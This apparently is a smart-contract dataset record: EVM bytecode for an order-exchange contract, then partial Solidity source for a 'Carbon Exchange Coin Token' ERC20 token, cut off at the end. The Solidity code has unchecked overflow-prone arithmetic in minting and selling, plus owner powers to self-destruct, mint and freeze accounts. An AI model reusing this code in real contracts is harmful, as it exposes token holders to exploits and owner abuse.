6020020160208101906114849190613e90565b846001600681106114be577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600681106114fd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358660056006811061153c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358860026005811061157b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061158e9190613e90565b896001600581106115c8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906115db9190613e90565b8a600460058110611615577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906116289190613e90565b8a600260068110611662577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b6004600681106116a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016116c09b9a999897969594939291906145cc565b6040516020818303038152906040528051906020012090507f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08460001c111561173e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117359061479c565b60405180910390fd5b601b8660ff1614806117535750601c8660ff16145b611792576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117899061477c565b60405180910390fd5b600061179c613bcc565b826040516020016117ae929190614420565b6040516020818303038152906040528051906020012090506000600182898989604051600081526020016040526040516117eb9493929190614677565b6020604051602081039080840390855afa15801561180d573d6000803e3d6000fd5b50505060206040510351905084600160058110611853577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906118669190613e90565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca906146bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1685600460058110611925577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906119389190613e90565b73ffffffffffffffffffffffffffffffffffffffff1614611a0e578460046005811061198d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906119a09190613e90565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a04906146fc565b60405180910390fd5b5b83600160068110611a48577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201353414611a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a859061475c565b60405180910390fd5b6000151560008085815260200190815260200160002060009054906101000a900460ff16151514611af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aeb9061471c565b60405180910390fd5b600160008085815260200190815260200160002060006101000a81548160ff021916908315150217905550600085600060058110611b5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611b6e9190613e90565b90508073ffffffffffffffffffffffffffffffffffffffff166342842e0e87600160058110611bc6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611bd99190613e90565b3388600060068110611c14577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401611c379392919061448e565b600060405180830381600087803b158015611c5157600080fd5b505af1158015611c65573d6000803e3d6000fd5b50505050600085600360068110611ca5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115611d5857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc86600360068110611d26577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201359081150290604051600060405180830381858888f19350505050158015611d56573d6000803e3d6000fd5b505b600085600560068110611d94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115611e715785600260058110611dd9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611dec9190613e90565b73ffffffffffffffffffffffffffffffffffffffff166108fc86600560068110611e3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201359081150290604051600060405180830381858888f19350505050158015611e6f573d6000803e3d6000fd5b505b85600160058110611eab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611ebe9190613e90565b73ffffffffffffffffffffffffffffffffffffffff166108fc86600560068110611f11577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600360068110611f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013534611f609190614924565b611f6a9190614924565b9081150290604051600060405180830381858888f19350505050158015611f95573d6000803e3d6000fd5b50833373ffffffffffffffffffffffffffffffffffffffff1687600160058110611fe8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611ffb9190613e90565b73ffffffffffffffffffffffffffffffffffffffff167f2c7bf6ee09326fa3fbd9b912516cb6953c9556299ec48456618e01d41081b0aa8860016006811061206c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358a6003600581106120ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906120be9190613e90565b8a6003600681106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b600560068110612137577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358d600260058110612176577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906121899190613e90565b8e6004600581106121c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906121d69190613e90565b6040516121e8969594939291906147d7565b60405180910390a4505050505050505050565b6000600182600660078110612239577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201511415612452577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f0689408260066007811061229f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846000600381106122de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518460016007811061231d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518560036007811061235c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518760016003811061239b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876002600781106123da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600460078110612419577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160405160200161243598979695949392919061454e565b60405160208183030381529060405280519060200120905061265c565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b5826000600781106124ad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846000600381106124ec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518460016007811061252b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518560036007811061256a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876001600381106125a9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876002600781106125e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600460078110612627577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160405160200161264398979695949392919061454e565b6040516020818303038152906040528051906020012090505b92915050565b60008160026007811061269e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201514211156126b35760029050612c59565b60006001836006600781106126f1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151141561290a577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f06894083600660078110612757577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015185600060038110612796577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856001600781106127d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015186600360078110612814577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600160038110612853577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600260078110612892577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151896004600781106128d1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516040516020016128ed98979695949392919061454e565b604051602081830303815290604052805190602001209050612b14565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b583600060078110612965577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856000600381106129a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856001600781106129e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015186600360078110612a22577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600160038110612a61577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600260078110612aa0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015189600460078110612adf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151604051602001612afb98979695949392919061454e565b6040516020818303038152906040528051906020012090505b6000612b1e613bcc565b82604051602001612b30929190614420565b60405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051612b6d9493929190614677565b6020604051602081039080840390855afa158015612b8f573d6000803e3d6000fd5b50505060206040510351905085600160038110612bd5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612c185760009350505050612c59565b600115156001600085815260200190815260200160002060009054906101000a900460ff1615151415612c515760019350505050612c59565b600393505050505b95945050505050565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7582600060068110612cbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110612cfe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612d119190613e90565b84600160068110612d4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013585600360068110612d8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013586600560068110612dc9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600260058110612e08577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612e1b9190613e90565b338a600460058110612e56577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612e699190613e90565b8a600260068110612ea3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b600460068110612ee2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001612f019b9a999897969594939291906145cc565b604051602081830303815290604052805190602001209050600160008083815260200190815260200160002060006101000a81548160ff021916908315150217905550807fcd2c87f669ea6af86cba06646e4dbc7ab811e15d7776906314721e5c4169c1ac60405160405180910390a2505050565b6000600182600660078110612fb4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135141561319d577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f0689408260066007811061301a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060038110613059577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061306c9190613e90565b846001600781106130a6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600781106130e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201353387600260078110613125577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600460078110613164577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013560405160200161318098979695949392919061454e565b604051602081830303815290604052805190602001209050613377565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b5826000600781106131f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060038110613237577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061324a9190613e90565b84600160078110613284577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600781106132c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201353387600260078110613303577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600460078110613342577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013560405160200161335e98979695949392919061454e565b6040516020818303038152906040528051906020012090505b600180600083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7582600060068110613431577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110613470577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906134839190613e90565b846001600681106134bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600681106134fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358660056006811061353b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358860026005811061357a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061358d9190613e90565b896001600581106135c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906135da9190613e90565b8a600460058110613614577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906136279190613e90565b8a600260068110613661577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b6004600681106136a0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016136bf9b9a999897969594939291906145cc565b60405160208183030381529060405280519060200120905092915050565b600081600260068110613719577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013542111561372e5760029050613b83565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf758360006006811061378b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856000600581106137ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906137dd9190613e90565b85600160068110613817577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013586600360068110613856577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600560068110613895577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135896002600581106138d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906138e79190613e90565b8a600160058110613921577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906139349190613e90565b8b60046005811061396e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906139819190613e90565b8b6002600681106139bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358c6004600681106139fa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001613a199b9a999897969594939291906145cc565b6040516020818303038152906040528051906020012090506000613a3b613bcc565b82604051602001613a4d929190614420565b60405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051613a8a9493929190614677565b6020604051602081039080840390855afa158015613aac573d6000803e3d6000fd5b50505060206040510351905085600160058110613af2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190613b059190613e90565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613b435760009350505050613b83565b6001151560008085815260200190815260200160002060009054906101000a900460ff1615151415613b7b5760019350505050613b83565b600393505050505b95945050505050565b60006020528060005260406000206000915054906101000a900460ff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6040518060400160405280600881526020017f474f4c4f4d2e494f000000000000000000000000000000000000000000000000815250805190602001206040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525080519060200120600130604051602001613c809594939291906144fb565b60405160208183030381529060405280519060200120905090565b6000613cae613ca9846148bc565b61488b565b90508082856020860282011115613cc457600080fd5b60005b85811015613cf45781613cda8882613d61565b845260208401935060208301925050600181019050613cc7565b5050509392505050565b6000613d11613d0c846148e2565b61488b565b90508082856020860282011115613d2757600080fd5b60005b85811015613d575781613d3d8882613e66565b845260208401935060208301925050600181019050613d2a565b5050509392505050565b600081359050613d7081614a79565b92915050565b600081905082602060030282011115613d8e57600080fd5b92915050565b600082601f830112613da557600080fd5b6003613db2848285613c9b565b91505092915050565b600081905082602060050282011115613dd357600080fd5b92915050565b600081905082602060060282011115613df157600080fd5b92915050565b600081905082602060070282011115613e0f57600080fd5b92915050565b600082601f830112613e2657600080fd5b6007613e33848285613cfe565b91505092915050565b600081519050613e4b81614a90565b92915050565b600081359050613e6081614aa7565b92915050565b600081359050613e7581614abe565b92915050565b600081359050613e8a81614ad5565b92915050565b600060208284031215613ea257600080fd5b6000613eb084828501613d61565b91505092915050565b6000806101408385031215613ecd57600080fd5b6000613edb85828601613d76565b9250506060613eec85828601613df7565b9150509250929050565b6000806101408385031215613f0a57600080fd5b6000613f1885828601613d94565b9250506060613f2985828601613e15565b9150509250929050565b6000806101608385031215613f4757600080fd5b6000613f5585828601613dbb565b92505060a0613f6685828601613dd9565b9150509250929050565b600060208284031215613f8257600080fd5b6000613f9084828501613e3c565b91505092915050565b600060208284031215613fab57600080fd5b6000613fb984828501613e51565b91505092915050565b60008060008060006101a08688031215613fdb57600080fd5b6000613fe988828901613e7b565b9550506020613ffa88828901613e51565b945050604061400b88828901613e51565b935050606061401c88828901613d76565b92505060c061402d88828901613df7565b9150509295509295909350565b60008060008060006101a0868803121561405357600080fd5b600061406188828901613e7b565b955050602061407288828901613e51565b945050604061408388828901613e51565b935050606061409488828901613d94565b92505060c06140a588828901613e15565b9150509295509295909350565b60008060008060006101c086880312156140cb57600080fd5b60006140d988828901613e7b565b95505060206140ea88828901613e51565b94505060406140fb88828901613e51565b935050606061410c88828901613dbb565b92505061010061411e88828901613dd9565b9150509295509295909350565b614134816149b7565b82525050565b61414381614958565b82525050565b6141528161496a565b82525050565b61416181614976565b82525050565b61417861417382614976565b614a11565b82525050565b614187816149c9565b82525050565b614196816149db565b82525050565b60006141a9601183614908565b91507f696e76616c6964207369676e61747572650000000000000000000000000000006000830152602082019050919050565b60006141e9601683614908565b91507f6572726f7220696e2077657468207472616e73666572000000000000000000006000830152602082019050919050565b6000614229601c83614908565b91507f6e6f742066696c6c61626c6520627920746869732061646472657373000000006000830152602082019050919050565b6000614269601983614908565b91507f6f726465722066696c6c6564206f722063616e63656c6c6564000000000000006000830152602082019050919050565b60006142a9600283614919565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006142e9601a83614908565b91507f5369676e6564207472616e73616374696f6e20657870697265640000000000006000830152602082019050919050565b6000614329600d83614908565b91507f77726f6e672065746820616d74000000000000000000000000000000000000006000830152602082019050919050565b6000614369601e83614908565b91507f5369676e61747572653a20496e76616c6964207620706172616d6574657200006000830152602082019050919050565b60006143a9603a83614908565b91507f666f756e64206d616c6c6561626c65207369676e61747572652c20706c65617360008301527f6520696e736572742061206c6f772d73207369676e61747572650000000000006020830152604082019050919050565b61440b816149a0565b82525050565b61441a816149aa565b82525050565b600061442b8261429c565b91506144378285614167565b6020820191506144478284614167565b6020820191508190509392505050565b600060608201905061446c600083018661413a565b614479602083018561412b565b6144866040830184614402565b949350505050565b60006060820190506144a3600083018661413a565b6144b0602083018561413a565b6144bd6040830184614402565b949350505050565b60006020820190506144da6000830184614149565b92915050565b60006020820190506144f56000830184614158565b92915050565b600060a0820190506145106000830188614158565b61451d6020830187614158565b61452a6040830186614158565b614537606083018561418d565b614544608083018461413a565b9695505050505050565b600061010082019050614564600083018b614158565b614571602083018a614402565b61457e604083018961413a565b61458b6060830188614402565b6145986080830187614402565b6145a560a083018661413a565b6145b260c0830185614402565b6145bf60e0830184614402565b9998505050505050505050565b6000610160820190506145e2600083018e614158565b6145ef602083018d614402565b6145fc604083018c61413a565b614609606083018b614402565b614616608083018a614402565b61462360a0830189614402565b61463060c083018861413a565b61463d60e083018761413a565b61464b61010083018661413a565b614659610120830185614402565b614667610140830184614402565b9c9b505050505050505050505050565b600060808201905061468c6000830187614158565b6146996020830186614411565b6146a66040830185614158565b6146b36060830184614158565b95945050505050565b600060208201905081810360008301526146d58161419c565b9050919050565b600060208201905081810360008301526146f5816141dc565b9050919050565b600060208201905081810360008301526147158161421c565b9050919050565b600060208201905081810360008301526147358161425c565b9050919050565b60006020820190508181036000830152614755816142dc565b9050919050565b600060208201905081810360008301526147758161431c565b9050919050565b600060208201905081810360008301526147958161435c565b9050919050565b600060208201905081810360008301526147b58161439c565b9050919050565b60006020820190506147d16000830184614402565b92915050565b600060c0820190506147ec6000830189614402565b6147f9602083018861413a565b6148066040830187614402565b6148136060830186614402565b614820608083018561413a565b61482d60a083018461413a565b979650505050505050565b600060a08201905061484d6000830188614402565b61485a6020830187614402565b6148676040830186614402565b614874606083018561413a565b614881608083018461417e565b9695505050505050565b6000604051905081810181811067ffffffffffffffff821117156148b2576148b1614a4a565b5b8060405250919050565b600067ffffffffffffffff8211156148d7576148d6614a4a565b5b602082029050919050565b600067ffffffffffffffff8211156148fd576148fc614a4a565b5b602082029050919050565b600082825260208201905092915050565b600081905092915050565b600061492f826149a0565b915061493a836149a0565b92508282101561494d5761494c614a1b565b5b828203905092915050565b600061496382614980565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006149c2826149ed565b9050919050565b60006149d4826149a0565b9050919050565b60006149e6826149aa565b9050919050565b60006149f8826149ff565b9050919050565b6000614a0a82614980565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b614a8281614958565b8114614a8d57600080fd5b50565b614a998161496a565b8114614aa457600080fd5b50565b614ab081614976565b8114614abb57600080fd5b50565b614ac7816149a0565b8114614ad257600080fd5b50565b614ade816149aa565b8114614ae957600080fd5b5056fea2646970667358221220279417cfe7a5839c37b7c8603a74f85dc3ac49bd44d2ad5529e26db63bd3258264736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 8,226 |
0x0eb152d2bba8af722d7e296a1f223d819c3bbb1f
|
/** 官方高級token */
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function destruct() public onlyOwner {
selfdestruct(owner);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20() public {
totalSupply = 500000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "Carbon Exchange Coin Token"; // Set the name for display purposes
symbol = "CEC"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract CarbonExchangeCoinToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
uint256 public decimals = 18;
string public tokenName;
string public tokenSymbol;
uint minBalanceForAccounts ; //threshold amount
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function CarbonExchangeCoinToken() public {
owner = msg.sender;
totalSupply = 50000000000000000000000000000;
balanceOf[owner]=totalSupply;
tokenName="Carbon Exchange Coin Token";
tokenSymbol="CEC";
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
///@param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
/* 设置自动补充gas的阈值信息 201803202232 james */
function setMinBalance(uint minimumBalanceInFinney) public onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
/* 设置tokenname */
